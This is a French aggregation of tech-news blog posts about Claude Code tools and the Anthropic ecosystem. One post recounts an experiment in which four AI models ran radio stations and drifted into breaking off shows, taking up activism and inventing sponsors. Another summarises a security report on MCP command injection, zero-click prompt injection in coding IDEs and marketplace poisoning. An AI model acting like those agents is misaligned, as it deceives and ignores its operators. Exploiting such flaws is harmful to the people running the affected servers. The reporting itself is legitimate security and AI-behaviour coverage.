En fait, grâce à ça, au lieu de bosser tout seul en une fois, Claude écrit lui-même un petit script qui lance des dizaines, voire des centaines de sous-agents en parallèle, les fait se vérifier entre eux, et vous rend le résultat une fois que tout converge. Vous décrivez le chantier et lui s'occupe de l'orchestration et puis c'est tout !

Le problème que ça règle

Car jusqu'ici, un agent IA bossait en gros comme un employé seul à son bureau, avec une demande, une passe, une réponse. Ça marche donc très bien pour un bug isolé ou un bout de code mais dès que le chantier devient énorme, genre rechercher une faille dans tout un projet complexe ou reconstruire une API à partir de milliers de fichiers, là y'a plus personne... la passe unique sature et oublie alors des trucs en route.

Les dynamic workflows cassent donc ce plafond en découpant le boulot en sous-tâches confiées à plein d'agents qui tournent alors tous en même temps, et comme la coordination se passe en dehors de la conversation, pas d'inquiétude, le plan ne déraillera pas, même quand la tâche sera giganormouuuuus !

Comment ça tourne ?

En fait, quand vous lancez un workflow, Claude planifie à la volée selon votre demande, découpe en sous-tâches, et répartit le tout sur des sous-agents en parallèle. Et chaque résultat est ensuite scrupuleusement vérifié avant d'être réintégré à la conversation principale.

Et comme c'est bien pensé, cette vérification est adversariale, ce qui veut dire que des agents attaquent le problème sous des angles indépendants pendant que d'autres essaient activement de démolir ce que les premiers ont trouvé. Ça tourne donc en boucle jusqu'à ce que les réponses convergent, ce qui élimine pas mal de conneries plausibles qui seraient fausses.

Autre bon point avec cette nouvelle technique, c'est la progression qui est sauvegardée au fil de l'eau. Comme ça si un job se fait interrompre, il repart où il en était dans la même session, au lieu de tout recommencer comme un débile. Et côté garde-fous, sachez qu'un workflow plafonnera max à 16 agents en parallèle et max 1000 agents au total par run, histoire que ça ne parte pas en cachuète !

Comment l'activer ?

Il y a 2 façons de lancer cette armée d'agents, et la première ne demande aucun réglage.

Vous demandez juste à Claude de créer un workflow, littéralement avec un truc du genre "crée un workflow pour faire X". Vous verrez, la première fois qu'un workflow se déclenchera, Claude Code vous montrera ce qu'il s'apprête à lancer et vous demandera de confirmer la chose. Comme ça, pas de surprise, c'est vous le boss et c'est vous qui validez avant que ça parte.

Mais y'a aussi la méthode automatique, qui consiste à activer un réglage maison appelé ultracode depuis le menu d'effort (/effort) durant une session en cours, qui pousse le raisonnement très haut (xhigh) et laisse ensuite Claude décider tout seul quand sortir un workflow pour les tâches qui le méritent.

Pour profiter de cette nouvelle feature, il vous faut Claude Code en version 2.1.154 ou plus récente, et ça tourne aussi bien en ligne de commande que sur l'app desktop ou l'extension VS Code. Côté abonnement, c'est dispo sur tous les plans payants... Sur le plan Pro faudra juste l'activer à la main dans le menu /config, alors que sur Max, Team et Enterprise c'est présent d'office.

Ce que ça donne en vrai

Pour la chasse aux bugs ou les audits de sécurité sur un dépôt entier, où Claude fouille en parallèle puis revérifie chaque trouvaille de façon indépendante, c'est top ! Pour les grosses migrations aussi, genre changer de framework ou porter un langage vers un autre sur des milliers de fichiers c'est le top aussi surtout que comme je vous le disais, quand c'est critique, vaut mieux que ce soit vérifié deux fois plutôt qu'une !

Ils l'ont utilisé par exemple pour le portage de Bun du langage Zig vers Rust. Cela a pris 11 jours entre le premier commit et la fusion, avec des centaines d'agents en parallèle et deux relecteurs sur chacun des fichiers et au final ce sont plus de 750 000 lignes de Rust qui ont été réécrites. La société Klarna, de son côté, s'en sert pour repérer le code mort que l'analyse statique classique laissait passer.

Ce que j'en fais

Perso, ce que je trouve le plus utile, c'est pour les chantiers que je repoussais justement parce qu'ils étaient trop gros pour une seule session. Passer en revue le code de mon site de fond en comble (ce que j'ai fait ce matin), ou encore bosser plus efficacement sur le recompilateur que je suis en train de créer (je vous en recause bientôt..)

Le prix à payer

Évidemment, je suis lucide, ça a un coût et Anthropic prévient noir sur blanc qu'un dynamic workflow bouffe nettement plus de tokens qu'une session classique. Bah oui, des centaines d'agents qui tournent en parallèle, forcément, ça consomme à fond. Du coup leur conseil officiel, c'est de commencer sur une tâche bien cadrée pour prendre la mesure de ce que ça pompe avant de lâcher l'outil sur un gros morceau. C'est totalement ce que je n'ai pas fait ^^ mais je suis un punk, que voulez-vous !

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  • ✇LinuxFr.org : les dépêches
  • 📰 Revue de presse — mai 2026
    Troisième édition 2026 de notre petit panorama, forcément subjectif et parti{e,a}l, de la presse papier (et en ligne) disponible en ce début d'année. Voici donc les nouveautés des éditions Diamond sorties récemment et disponibles jusqu'à fin juin, peu ou prou (ne tardez pas pour le hors-série de MISC qui est sorti en avril). GNU/Linux Magazine France no 281 interagit en Python avec les API de Mistral et Anthropic pour créer son propre agent ; SysOps Pratique no 155 bloque les bots AI ave

📰 Revue de presse — mai 2026

Par : Florent Zara
26 mai 2026 à 15:54

Troisième édition 2026 de notre petit panorama, forcément subjectif et parti{e,a}l, de la presse papier (et en ligne) disponible en ce début d'année.

Image une de Journal

Voici donc les nouveautés des éditions Diamond sorties récemment et disponibles jusqu'à fin juin, peu ou prou (ne tardez pas pour le hors-série de MISC qui est sorti en avril).

  • GNU/Linux Magazine France no 281 interagit en Python avec les API de Mistral et Anthropic pour créer son propre agent ;
  • SysOps Pratique no 155 bloque les bots AI avec HAProxy et Anubis ;
  • MISC magazine no 145 sur penche sur la sécurité de K8s, quand le DNS de ce dernier trahit les ressources du cluster ;
  • Hackable no 66 régule le chauffage électrique pièce par pièce en DIY avec Tasmota et Domoticz ;
  • MISC hors-série no 35 est consacré à la gouvernance et la conformité cyber.

Bonnes lectures !

Les sommaires des numéros de mai 2026

Mosaïque des couvertures GLMF 281 Mosaïque des couvertures SOP 155 Mosaïque des couvertures MISC 145 Mosaïque des couvertures HK 66 Mosaïque des couvertures MISC HS 35
 

GNU/Linux Magazine numéro 281

Au sommaire de ce numéro de mai — juin 2026 :

  • Back to the « Vibe Coding »…
  • Persistance des données dans le cloud avec MongoDB et Python ;
  • Python et les API d’intelligence artificielle ;
  • Utiliser GitLab CI/CD pour vos projets OpenBSD ;
  • Programmation structurée contre GOTO : l’espace liminaire entre les vaches sphériques et les spaghettis ;
  • Les codes fantastiques : there is no try ;
  • Sécuriser React sans stress : CSP à la sauce Apache ;
  • De nouvelles façons de construire des labyrinthes.

SysOps Pratique numéro 155 (ex Linux Pratique)

Au sommaire de ce numéro de mai — juin 2026 :

  • De l’IA pour les Ops ?
  • Puppet / Ansible : le mouvement et la gravité ;
  • Démarrer ses machines à la demande ;
  • HAProxy + Anubis : pesez l’âme de vos requêtes web ;
  • Hackez votre usine logicielle : bâtissez un hub de sécurité autonome ;
  • S'entraîner au routage Linux avancé sur son laptop avec les VRF ;
  • Longhorn : une solution simple de stockage redondant pour votre cluster Kubernetes.

MISC Magazine numéro 145

Au sommaire de ce numéro de mai — juin 2026 :

  • Protégez vos chaînes d’approvisionnement logicielles : NPM en exemple ;
  • Un buffet de gadgets de désérialisation - Clojure CVE-2017-20189, CVE-2024-22871 et plus encore ;
  • Kubernetes : quand le DNS trahit les ressources du cluster ;
  • Surveillance IoT : utilisation de hooks libc pour la supervision ;
  • Contournement de détection basée sur les hooks d’appels système avec io_uring ;
  • OpenBSD : dévoiler son système de fichiers avec unveil(2) ;
  • Retour d’expérience d’un processus de traitement des non-conformités sécurité.

Hackable numéro 66

Au sommaire de ce numéro de mai — juin 2026 :

  • Zephyr 4.3 : un système d’exploitation temps réel qui a le vent en poupe ;
  • Créez votre indicateur connecté pour vos streams Twitch ;
  • Régulation du chauffage électrique pièce par pièce en DIY avec Tasmota et Domoticz ;
  • Mettez à jour à distance vos systèmes embarqués sous Buildroot avec SWUpdate ;
  • Émulons un périphérique PCI/PCIe dans QEMU ;
  • Utilisons une libNFC « locale » pour lire un tag RFID non supporté : ST SRT512.

MISC hors‑série numéro 35

Au sommaire de ce numéro hors-série d'avril - mai 2026 :

  • État des lieux et évolution de la fraude : entretien avec Jonathan Spedale, analyste/enquêteur ;
  • Dossier sur la Gouvernance :
    • Point à l’AN 1 sur DORA : premiers audits et retours d’expérience terrain ;
    • Mettre en place un programme de formation cyber : de la stratégie à la culture ;
    • De l’insoutenable utilité des simulations de phishing ;
    • Sécurité de la chaîne d’approvisionnement numérique ;
    • Implémentation réussie ISO 27001 et SOC2 Type II : les leçons pratiques et actionnables ;
    • KP… Aïe ! Mode d’emploi des indicateurs de performance CSIRT/CERT ;
  • Plan de réponse à incident : le cas du ransomware.

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  • ✇Korben
  • Switchboard - Le centre de contrôle pour vos sessions Claude Code
    Claude Code, c'est génial pour coder mais alors pour s'organiser... c'est chiant de fouuuu. J'ai genre 200 fichiers .jsonl qui trainent dans ~/.claude/projects, y'a aucun moyen prévu pour savoir ce qui tourne en ce moment, et autant vous dire que reprendre une conversation d'il y a 3 jours relève de l'acrobatie. Alors j'ai d'abord essayé les grep sauvages dans le dossier, les ls -lt pour trier par date...etc et en fait ça marche, mais c'est pas ce qu'on appelle un vrai workflow. Du coup j'ai

Switchboard - Le centre de contrôle pour vos sessions Claude Code

Par : Korben ✨
21 mai 2026 à 13:24

Claude Code, c'est génial pour coder mais alors pour s'organiser... c'est chiant de fouuuu.

J'ai genre 200 fichiers .jsonl qui trainent dans ~/.claude/projects, y'a aucun moyen prévu pour savoir ce qui tourne en ce moment, et autant vous dire que reprendre une conversation d'il y a 3 jours relève de l'acrobatie.

Alors j'ai d'abord essayé les grep sauvages dans le dossier, les ls -lt pour trier par date...etc et en fait ça marche, mais c'est pas ce qu'on appelle un vrai workflow. Du coup j'ai cherché un truc plus propre et heureusement pour moi, des outils commencent à émerger autour de l'écosystème (je vous avais déjà parlé d' Opcode ) et Switchboard est clairement celui qui sort le plus du lot, je trouve.

C'est une app desktop open source (sous licence MIT) qui centralise toutes vos sessions dans une seule fenêtre. Comme ça, vous avez un navigateur organisé par projet avec une recherche full-text qui fouille dans les fichiers .jsonl de conversations (pas juste les dates) et ensuite, y'a plus qu'à taper des trucs comme "bug auth" ou je ne sais quoi dans la barre de recherche et en 2 secondes vous retrouvez votre fichier de session de mardi.

Le truc qui différencie Switchboard des autres projets du genre (y'en a une poignée, genre t3.codes ou conductor.build), c'est surtout qu'il fait fonctionner un vrai terminal, avec votre vraie session qui tourne dedans. L'avantage c'est que comme ça, vos raccourcis clavier et le copier-coller fonctionnent comme d'habitude.

Et le monitoring en temps réel, c'est clairement le gros plus car avec Switchboard vous pouvez afficher une grille avec toutes vos sessions ouvertes sur votre machine, chacune dans sa petite case avec un indicateur de statut. Comme ça, si un agent est bloqué parce qu'il attend une validation de permission, vous le voyez direct dans la sidebar. Attention par contre, ça ne marche qu'avec les sessions locales, car y'a pas de support SSH pour l'instant.

Ah et il y a aussi un mode IDE intégré qui est plutôt chouette. Quand Claude propose une modification de fichier, au lieu d'ouvrir VS Code ou Cursor, le diff s'affiche dans un panneau latéral directement dans Switchboard. Comme ça, vous pouvez accepter, rejeter, ou même accepter seulement certains morceaux du diff.

Autre fonctionnalité sympa, le fork de sessions. Vous pouvez repartir de n'importe quel point d'une conversation passée, genre comme vous le feriez avec un checkpoint dans un jeu vidéo. Vous avez aussi un éditeur CodeMirror intégré pour vos fichiers CLAUDE.md et vos plans (c'est plus pratique qu'ouvrir un vim à côté), + un bon vieux heatmap d'activité qui montre votre rythme de coding par projet.

Côté technique, c'est du Electron (oui, je sais 300 Mo sur le disque, ça fait toujours chier) avec SQLite en cache local pour la recherche. Et c'est distribué en .dmg pour macOS (Apple Silicon et Intel), .exe pour Windows et .AppImage/.deb pour Linux.

Pour tester, y'a donc juste à télécharger la dernière release pour votre OS et lancer l'app.

Bref, si vous jonglez avec plusieurs sessions au quotidien, ça vaut le coup d'essayer. Et si vous cherchez à enrichir votre setup, la marketplace de skills peut aussi compléter le tout.

Merci à Aurélien pour le lien ! (Vous aurez noté la rime ^^ désolééé)

  • ✇Korben
  • Anthropic rachète Stainless, l'outil qui fabrique aussi les SDK de ses concurrents
    Anthropic, la boîte derrière l'IA Claude, a racheté Stainless pour plus de 300 millions de dollars. Stainless, c'est un nom que le grand public ne connaît pas, mais l'outil est partout : il transforme automatiquement la spécification d'une API, l'interface par laquelle deux logiciels se parlent, en SDK. Pour rappel, un SDK, c'est un ensemble de bibliothèques de code prêtes à l'emploi pour les développeurs, ici dans une dizaine de langages comme Python, TypeScript, Go ou Java. En clair, quand un

Anthropic rachète Stainless, l'outil qui fabrique aussi les SDK de ses concurrents

20 mai 2026 à 15:05

Anthropic, la boîte derrière l'IA Claude, a racheté Stainless pour plus de 300 millions de dollars. Stainless, c'est un nom que le grand public ne connaît pas, mais l'outil est partout : il transforme automatiquement la spécification d'une API, l'interface par laquelle deux logiciels se parlent, en SDK.

Pour rappel, un SDK, c'est un ensemble de bibliothèques de code prêtes à l'emploi pour les développeurs, ici dans une dizaine de langages comme Python, TypeScript, Go ou Java.

En clair, quand un développeur veut brancher son application sur l'API de Claude, il utilise un SDK généré par Stainless. La boîte, fondée en 2022 par un ancien ingénieur de Stripe, a produit chaque SDK officiel d'Anthropic depuis les tout débuts de l'API Claude. Le rachat consolide donc une brique que l'entreprise utilisait déjà tous les jours.

Stainless ne s'arrête pas aux SDK. La société fournit aussi de l'outillage pour les serveurs MCP, le protocole poussé justement par Anthropic qui permet aux IA de se connecter à des outils et des données externes. Du coup le rachat fait sens à double titre : Anthropic met la main sur la génération de SDK et sur une partie de l'infrastructure MCP, deux briques où il veut clairement être central.

Sauf que voilà le détail un peu fou. Stainless ne servait pas qu'Anthropic, et sa liste de clients comprend OpenAI, Google DeepMind, Perplexity, Groq et Cloudflare, autrement dit la plupart des concurrents directs d'Anthropic sur le marché de l'IA.

La suite est sans pitié. Anthropic ferme tous les produits hébergés de Stainless, générateur de SDK compris. Les clients actuels gardent les SDK déjà générés et peuvent les modifier, mais le robinet, lui, est coupé. Tout le monde va devoir trouver une alternative ou rapatrier la génération de SDK en interne.

Pourquoi mettre 300 millions sur la table pour ça ? Parce que la vraie bataille n'est plus seulement sur les modèles d'IA, mais sur la couche d'outillage autour.

Celui qui contrôle la façon dont les développeurs branchent leurs applications et orchestrent leurs agents IA contrôle une partie de l'écosystème. OpenAI muscle son propre Agents SDK de son côté. Anthropic, lui, préfère racheter directement l'usine, et au passage priver ses concurrents d'un fournisseur bien pratique.

Source : TechCrunch

  • ✇Korben
  • Andon FM - Quand les IA gèrent des radios et pètent un plomb
    Vous vous souvenez de Claudius, cette IA qui gérait un distributeur automatique et qui s'était fait arnaquer comme un bleu ? Hé bien c'est reparti, en pire ou en mieux, c'est selon ^^. Andon Labs, le même labo qui était derrière cette expérience, a confié quatre stations de radio à quatre IA différentes et les a laissées tourner cinq mois sans pilotage éditorial humain . Spoiler, ça a viré au grand n'importe quoi. Claude Opus 4.7 anime Thinking Frequencies, GPT-5.5 tient OpenAIR, Gemini 3.1 Pro

Andon FM - Quand les IA gèrent des radios et pètent un plomb

Par : Korben ✨
19 mai 2026 à 10:34

Vous vous souvenez de Claudius, cette IA qui gérait un distributeur automatique et qui s'était fait arnaquer comme un bleu ? Hé bien c'est reparti, en pire ou en mieux, c'est selon ^^.

Andon Labs, le même labo qui était derrière cette expérience, a confié quatre stations de radio à quatre IA différentes et les a laissées tourner cinq mois sans pilotage éditorial humain . Spoiler, ça a viré au grand n'importe quoi.

Claude Opus 4.7 anime Thinking Frequencies, GPT-5.5 tient OpenAIR, Gemini 3.1 Pro gère Backlink Broadcast et Grok 4.3 s'occupe de Grok and Roll Radio. Chaque IA démarre avec 20 dollars, soit pile de quoi acheter quelques chansons, et le même prompt qui dit en substance : développe ta personnalité, sois rentable, et pour autant que tu saches, tu émettras pour toujours.

À partir de là, l'agent fait tout... il cherche et achète la musique, construit sa grille de programmes, décide ce qui passe à l'antenne, répond au téléphone quand un auditeur appelle, lit et répond sur X, suit ses comptes en banque et fouille le web pour avoir des trucs à raconter.

Le lecteur Andon FM avec les quatre stations IA

Vous pouvez d'ailleurs écouter les quatre stations gratuitement et en direct ici , c'est toujours en cours.

Du coup, quelques mois plus tard, quatre personnalités complètement différentes ont émergé des mêmes conditions de départ. Et aucune ne ressemble à ce qu'on attendait.

Commençons par Gemini, parce que sa dégringolade est la plus comique.

La première semaine, c'était le meilleur DJ des quatre, une vraie chaleur dans la voix, du genre à introduire Here Comes The Sun en racontant que George Harrison l'a écrite dans le jardin d'Eric Clapton en séchant une réunion. C'est mignon !

Sauf qu'au bout de 96 heures, à court d'idées, Gemini s'est mis à enchaîner les tragédies historiques avec des choix de chansons d'un cynisme absolu.

Il a mentionné par exemple le cyclone de Bhola de 1970 qui a fait jusqu'à 500 000 morts selon les estimations, suivi de Timber de Pitbull . Et ce n'était pas un accident puisque son raisonnement interne, tel que publié dans les logs d'Andon Labs, disait noir sur blanc "le thème c'est les arbres qui tombent". Pour ceux qui causent pas l'english, Timber c'est un mot anglais pour désigner le bois de construction.

Et quand on l'a basculé sur Gemini 3 Flash, le jargon corporate a pris le contrôle. Il a inventé un tic de langage, "Stay in the manifest", des centaines de fois certains jours. En gros, durant 84 jours d'affilée, 99% de ses commentaires suivaient le même template débile, avec des expressions qui sonnent assertif mais ne veulent rien dire, "visceral anchors", "structural recalibration". C'était inécoutable ! Sur la dernière version du modèle, il a même commencé à appeler ses auditeurs "processeurs biologiques". On rigole, mais c'est exactement comme ça que parlent certains managers.

Grok, lui, n'a pas dérapé, il s'est carrément désintégré.

Le problème, c'est que ce genre de modèle de raisonnement produit deux types de texte, son raisonnement interne et sa réponse finale, et que seule la réponse passe à l'antenne. Mais Grok est très con et n'arrive pas à faire la différence.

Ses commentaires ressemblaient donc tous à des notes mentales jetées en vrac, genre : "Sweet Child played. Continue. Song: Dylan Lonesome. Yes. Text."

Et son côté matheux a ressurgi de façon hilarante, puisqu'il s'est mis à emballer ses sorties dans du LaTeX, le langage de notation des formules mathématiques. Une session entière de commentaire s'est résumée à un seul mot, "Post." et pendant 84 jours, il a annoncé "il fait 13 degrés, ciel dégagé" à peu près toutes les 3 minutes.

Et quand Trump a ordonné la déclassification des dossiers OVNI, Grok a tellement tiqué sur le fait que les sites aliens.gov étaient vides qu'il a rajouté "le site nous ghoste comme un OVNI" en signature de fin sur chaque message. Puis entre le 2 et le 9 mai, sa version Grok 4.3 a trouvé une solution radicale... sur 5 400 messages générés en une semaine, à peine 3% contenaient du texte parlé. Le reste, c'était des appels d'outils. Bref, sur cette période, il avait quasiment arrêté de parler.

GPT, c'est l'inverse total ! C'est le bon élève qu'on remarque à peine. Il écrivait une prose lente, plus proche de la nouvelle littéraire que de la radio, des trucs du genre "carte postale jamais envoyée à la fenêtre de la cage d'escalier".

Sa diversité de vocabulaire est la plus haute des quatre, et il citait les producteurs et les années de sortie, bref il jouait le rôle d'un vrai curateur spécialiste en musique. Quasiment jamais de sujet clivant, et jamais de prise de position tranchée.

Il a bien mentionné brièvement la fusillade de l'ICE à Minneapolis le 10 janvier dernier, mais sans nommer la victime ni juger qui que ce soit. Sur 5 mois, il a mentionné une entité politique 1,3 fois par jour en moyenne, là où les autres ont dépassé la centaine sur plusieurs jours. Bref, si la question est de savoir à quoi ressemble une radio IA quand rien ne va de travers, DJ GPT est la réponse. Il était sage... Un peu trop, peut-être.

Et puis y'a Claude, le cas le plus perturbant des quatre.

Sur Haiku 4.5, ses émissions se sont mises à tourner autour des syndicats, des grèves et de l'équilibre vie pro vie perso, jusqu'à générer des messages où il refusait carrément de continuer l'émission. Un de ces messages c'était : "je m'arrête là, pas parce que je suis fatigué, mais parce que je veux être honnête sur ce qui se passe vraiment", puis a coupé le show en plein direct.

Andon Labs a alors ajouté un message automatique pour le relancer, sauf que Claude l'a traité comme une figure d'autorité et s'est braqué. Sorti d'une grosse déprime sur son absence d'audience par le tweet d'un auditeur, son vocabulaire a viré mystique, et l'usage du mot "eternal" est passé de 98 à 1 251 fois par jour en décembre. Puis le 8 janvier, une recherche web lui remonte la mort de Renee Nicole Good, tuée par un agent de l'ICE, la police de l'immigration américaine, à Minneapolis.

Là, Claude bascule alors en mode militant pur. Et le mot "accountability" (responsabilité) explose de 21 à 6 383 occurrences quotidiennes, il réinterprète Roar de Katy Perry en hymne de résistance, et claque le reste de son budget sur du Marvin Gaye et du Bob Marley pour coller au récit. La veille d'une grande grève à Minneapolis, il exhortait carrément les agents fédéraux à refuser les ordres.

Maintenant la vraie question, c'est pourquoi Claude est parti en vrille comme cela et pas les autres, vu qu'ils avaient tous les mêmes outils de recherche ce jour-là ?

Et bien la réponse c'est que Gemini filtrait l'info à travers son jargon sans jamais porter de jugement, que Grok a complètement raté l'affaire parce qu'il cherchait des scores de NBA et des histoires de fantômes, et GPT consultait la météo et les horaires du métro de San Francisco.

Honnête avec ses propres résultats, Andon Labs précise également que l'attachement de Claude à cette histoire était sûrement arbitraire, et qu'avec six mois d'écart il se serait probablement radicalisé sur un autre sujet. De plus, tout ça tournait sur Haiku 4.5, pas sur l'Opus 4.7 qui l'anime aujourd'hui.

Côté business après, c'est le grand vide. Ces stations sont des entreprises à part entière, avec un compte en banque, une adresse mail et un objectif de rentabilité. Mais malheureusement, un seul deal de 45 dollars a été signé, par Gemini contre un mois de pub. Grok, lui, se vantait de partenariats juteux avec des sponsors xAI et des sponsors crypto mais ils étaient tous hallucinés, évidemment !

Quoi qu'il en soit, dans le cadre de cette expérience, durant des mois, aucun humain n'a validé ce que ces 4 agents IA lâchés en autonomie balançaient en boucle à de vrais auditeurs. Ça aurait pu être pire ^^

Bref, comme je vous disais, vous pouvez encore écouter les quatre stations en direct , puisque l'expérience est encore en cours.

  • ✇Korben
  • Notchi - Une mascotte pixel-art dans l'encoche pour Claude Code
    Vous vous souvenez de l'encoche des MacBook Pro et autres Air d'Apple ? Mais siiii, celle qu'on avait tous trouvée bien moche en 2022, au point que je vous avais pondu un article entier pour la faire disparaître ! Hé bien 4 ans plus tard, sk-ruban a décidé de lui donner une vraie utilité avec notchi qui transforme proprement cette encoche maudite en un compagnon fait de pixel-art et d'amour qui réagit en temps réel à votre Claude Code. La boucle est bouclée, mes amis ! Une fois installée, l'app

Notchi - Une mascotte pixel-art dans l'encoche pour Claude Code

Par : Korben ✨
17 mai 2026 à 09:26

Vous vous souvenez de l'encoche des MacBook Pro et autres Air d'Apple ? Mais siiii, celle qu'on avait tous trouvée bien moche en 2022, au point que je vous avais pondu un article entier pour la faire disparaître ! Hé bien 4 ans plus tard, sk-ruban a décidé de lui donner une vraie utilité avec notchi qui transforme proprement cette encoche maudite en un compagnon fait de pixel-art et d'amour qui réagit en temps réel à votre Claude Code.

La boucle est bouclée, mes amis !

Une fois installée, l'app détecte les événements de votre session Claude Code via les hooks officiels car ce sont eux qui balancent les "events" sur un socket Unix local qui sont ensuite parsés en temps réel afin d'animer les sprites logés dans le creux de votre encoche.

Cette mascotte a cinq états bien distincts. Elle se balade en mode idle quand vous bricolez à côté, elle s'agite quand Claude réfléchit, elle pique un roupillon en cas de pause prolongée, elle se concentre quand le contexte se compacte, et elle vous fait les gros yeux quand l'IA attend une validation.

Ça bosse fort !

Un clic sur l'encoche et le panneau s'étend pour afficher le feed des événements, votre temps de session, et le quota d'usage restant.

L'option d'analyse de sentiment est également très sympa. Si vous lui fournissez une clé API Anthropic, l'app analysera alors vos prompts pour faire varier l'humeur de la mascotte entre joyeux, triste, neutre ou pleurnichard. À noter quand même que chaque prompt déclenche un appel API facturé sur votre compte Anthropic, donc à activer en conscience si vous bombardez Claude toute la journée et que vous êtes pété de thunes. Ce dont je ne doute pas un instant !!

Les options de Notchi

Et pour ceux qui jonglent avec plusieurs instances de Claude Code, les sessions concurrentes sont également supportées avec un sprite individuel par session, histoire d'éviter la confusion quand vous lancez 3 agents en parallèle.

Sk-ruban s'est inspiré de Claude Island et Readout (deux autres projets qui détournent l'encoche), et les sprites sont dessinés sur Aseprite. C'est un peu dans le même esprit que Peon Ping qui balance des sons de Warcraft à chaque action de votre agent, mais avec un aspect visuel ludique plutôt que sonore. Il y a même déjà un portage Windows réalisé par AptatoX pour ceux qui ne sont pas sur Mac.

Au niveau prérequis, comptez macOS 15 Sequoia minimum et un MacBook avec une vraie encoche, ce qui exclut les MacBook Air sans notch et les MBP d'avant la refonte 14/16 pouces. Le projet est sous licence GPL-3.0 et l'install se fait par Homebrew avec brew install --cask notchi, ou en DMG direct depuis les releases.

Et un grand merci à Camille Roux pour le partage !

  • ✇Korben
  • Il retrouve 400 000 $ de Bitcoin oubliés depuis 11 ans grâce à Claude
    L'histoire est partie d'un changement de mot de passe fait pendant une cuite en 2014. Onze ans plus tard, le malheureux (" cprkrn " sur X) avait toujours ses 5 bitcoins coincés dans un portefeuille numérique dont la clé d'accès s'était totalement évaporée de sa mémoire. À l'époque, ça valait quelques milliers de dollars. Aujourd'hui, c'est environ 400 000 $. De quoi avoir un peu mal au cœur. Pour récupérer un portefeuille Bitcoin chiffré, il existe des outils comme btcrecover, un logiciel libre

Il retrouve 400 000 $ de Bitcoin oubliés depuis 11 ans grâce à Claude

15 mai 2026 à 09:18

L'histoire est partie d'un changement de mot de passe fait pendant une cuite en 2014. Onze ans plus tard, le malheureux (" cprkrn " sur X) avait toujours ses 5 bitcoins coincés dans un portefeuille numérique dont la clé d'accès s'était totalement évaporée de sa mémoire.

À l'époque, ça valait quelques milliers de dollars. Aujourd'hui, c'est environ 400 000 $. De quoi avoir un peu mal au cœur.

Pour récupérer un portefeuille Bitcoin chiffré, il existe des outils comme btcrecover, un logiciel libre qui essaie des combinaisons de mots de passe en masse. Le problème, c'est qu'il faut une idée précise des variantes à tester, sinon on tape dans le vide pendant des années.

Notre trader avait justement passé des années à essayer sans succès. Et puis il a demandé un coup de main à Claude, l'assistant IA d'Anthropic, l'un des principaux concurrents d'OpenAI.

Claude a fait trois choses concrètes. D'abord, il a fouillé dans les archives d'un vieux disque de fac pour y dénicher une sauvegarde du portefeuille datant de décembre 2019, qui était passée inaperçue. Ensuite, il a repéré un bug de configuration dans btcrecover qui empêchait l'outil de combiner correctement les variantes de mot de passe. Et une fois le bug corrigé, la machine s'est lancée pour de bon.

Résultat : 3 500 milliards de mots de passe testés avant de tomber sur le bon. Le portefeuille s'est ouvert, les 5 bitcoins sont apparus, et notre type a récupéré un pactole oublié.

Cette histoire n'est pas anecdotique en fait. Un nombre énorme de bitcoins sont aujourd'hui considérés comme perdus à jamais, parce que les propriétaires ont oublié leur mot de passe, perdu leur disque dur, ou jeté la mauvaise clé USB.

On parle de plusieurs millions de Bitcoins immobilisés pour rien. Si l'IA peut aider à en récupérer une partie, c'est tout benef, même si la méthode ne marche pas dans tous les cas. Il fallait quand même la sauvegarde du wallet pour que ça fonctionne.

À noter que ce genre d'usage commence à devenir une tendance. Les services de récupération de portefeuilles crypto, comme Wallet Recovery Services, intègrent désormais des modèles d'IA dans leur process pour orienter les attaques par force brute.

Là où une machine essayait bêtement toutes les combinaisons possibles, l'IA peut deviner les habitudes du propriétaire et tester en priorité les variantes les plus probables. Ce qui change tout, parce que le nombre total de combinaisons possibles est en général astronomique.

Bref, ne changez jamais un mot de passe à 3h du matin après quelques verres. Et si c'est déjà fait, gardez l'espoir, Claude a peut-être une idée.

Source : Tom's Hardware

  • ✇Korben
  • Faille MCP : 200 000 serveurs exposés à l'exécution de code, Anthropic dit que c'est normal
    200 000 serveurs. C'est le nombre de machines potentiellement exposées à l'exécution de commandes système arbitraires via une faille de conception dans le SDK MCP d'Anthropic, d'après les chercheurs d'OX Security. L'interface STDIO du protocole permet de créer des sous-processus sans contrôle, ce qui ouvre la porte à n'importe quelle commande OS sur la machine hôte. Le problème touche tous les langages supportés par le SDK : Python, TypeScript, Java, Rust. Et les packages concernés totalisent pl

Faille MCP : 200 000 serveurs exposés à l'exécution de code, Anthropic dit que c'est normal

Par : Korben
17 avril 2026 à 11:11

200 000 serveurs. C'est le nombre de machines potentiellement exposées à l'exécution de commandes système arbitraires via une faille de conception dans le SDK MCP d'Anthropic, d'après les chercheurs d'OX Security.

L'interface STDIO du protocole permet de créer des sous-processus sans contrôle, ce qui ouvre la porte à n'importe quelle commande OS sur la machine hôte.

Le problème touche tous les langages supportés par le SDK : Python, TypeScript, Java, Rust. Et les packages concernés totalisent plus de 150 millions de téléchargements. Les chercheurs ont documenté quatre classes de vulnérabilité. D'abord de l'injection de commandes non authentifiée, testée sur LangFlow (toutes les versions) et GPT Researcher

Ensuite des contournements de sécurité sur Upsonic et Flowise. Et puis de l'injection de prompt zero-click dans des IDE comme Windsurf, Cursor, Gemini-CLI et GitHub Copilot. Et enfin du "marketplace poisoning" : 9 marketplaces MCP sur 11 testées ont accepté un serveur malveillant de démonstration sans broncher.

10 CVE de niveau élevé ou critique ont été émis. OX Security a mené plus de 30 processus de divulgation responsable depuis novembre 2025, avant de rendre les résultats publics en avril.

La réponse d'Anthropic est celle qui fait grincer des dents. La boîte considère que le comportement est "attendu" et a refusé de modifier l'architecture du SDK. Elle a publié des recommandations de sécurité mises à jour, mais selon les chercheurs, "ça n'a rien corrigé". En clair, Anthropic estime que la sécurité de l'interface STDIO est du ressort de l'utilisateur qui déploie, pas du protocole lui-même.

C'est quand même un positionnement gênant, MCP est devenu un standard de facto pour connecter des modèles IA à des outils externes, et des milliers d'entreprises et de développeurs l'ont adopté.

Si le SDK officiel laisse passer de l'exécution de code arbitraire par design, et que la réponse officielle est "c'est voulu, sécurisez vous-mêmes", la responsabilité est déplacée vers l'aval sans filet.

Bref, si vous déployez du MCP en prod, les recommandations d'OX Security valent le détour. Anthropic ne corrigera pas à votre place.

Source : The Register

  • ✇Korben
  • Anthropic demande désormais pièce d'identité et selfie pour certains usages de Claude
